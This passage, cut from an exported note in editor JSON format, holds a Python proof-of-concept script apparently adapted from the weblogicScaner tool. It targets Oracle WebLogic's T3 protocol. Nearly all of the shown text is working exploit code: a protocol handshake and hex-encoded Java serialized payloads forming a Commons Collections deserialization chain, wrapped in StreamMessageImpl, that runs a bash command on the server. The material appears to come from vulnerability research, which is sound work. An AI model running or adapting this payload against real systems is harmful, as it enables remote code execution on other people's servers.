e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLCP-1673853200636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sour-1673853200635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFX6-1673853200638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q78G-1673853200637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte[] var5 = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmOH-1673853200640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f9EL-1673853200639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeByte(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KUYr-1673853200642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLat-1673853200641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X6i0-1673853200644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWTi-1673853200643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBwA-1673853206095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8yTQ-1673853206094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TPXU-1673857206454&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5128/WEBRESOURCE9a155c70e68681db13913fdda5f25fa0&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZSSX-1673857211444&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5129/WEBRESOURCE54e0206892d95c807ed25d22df1d5a82&#34;,&#34;width&#34;:2316,&#34;height&#34;:1498},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JwxJ-1673853898579&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOa0-1673853898580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为方便调试稍微改了一下weblogicScaner的poc&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jD5c-1673853898578&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;stxt-1673853898577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Y3W-1673853811210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iBfb-1673857235108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KNP5-1673857235107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;up2D-1673857235110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dOf-1673857235109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2MYW-1673857235112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sJvZ-1673857235111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I7jU-1673857235114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EQxc-1673857235113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9TUz-1673857235116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HCaQ-1673857235115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9Nt-1673857235118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CJnK-1673857235117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uz8w-1673857235120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j2LK-1673857235119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kRWo-1673857235122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL36-1673857235121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Dkh-1673857235124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2X3i-1673857235123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLMX-1673857235138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kS9G-1673857235137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qx1o-1673857235140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yhZ0-1673857235139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1rRN-1673857235144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I18i-1673857235143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4Q7-1673857235146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7H49-1673857235145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nvwm-1673857235148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q0Pi-1673857235147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j5rx-1673857235151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gfin-1673857235150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LR6M-1673857235153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPsb-1673857235152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;va15-1673857235155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EIyC-1673857235154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UvrC-1673857235157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tx1d-1673857235156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FwUl-1673857235159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9g6i-1673857235158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Amd-1673857235161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGd-1673857235160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nG7x-1673857235163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTq1-1673857235162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNRl-1673857235165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b98G-1673857235164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qzuv-1673857235167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GKaE-1673857235166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kAYk-1673857235169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iWi4-1673857235168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QP8Z-1673857235171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Zyh-1673857235170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMQb-1673857235173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dmY-1673857235172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9t5o-1673857235175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1KG3-1673857235174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vnyA-1673857235177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dv3W-1673857235176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tbYv-1673857235179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9wqC-1673857235178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfLR-1673857235181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;icRo-1673857235180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jlw6-1673857235183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5s5B-1673857235182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bMHw-1673857235185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QzcO-1673857235184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dQih-1673857235187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GXnZ-1673857235186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w8yK-1673857235189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrfD-1673857235188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUU1-1673857235191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nniU-1673857235190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04UU-1673857512271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yxNQ-1673857512269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经StreamMessageImpl封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDax-1673857397817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZgQK-1673857397816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nn0a-1673857235199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kKku-1673857235198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUpm-1673857514790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyuY-1673857514788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtsb-1673857460936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qET4-1673857460934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K77i-1673857235201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwTs-1673857235200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wij5-1673857235203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bLQx-1673857235202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        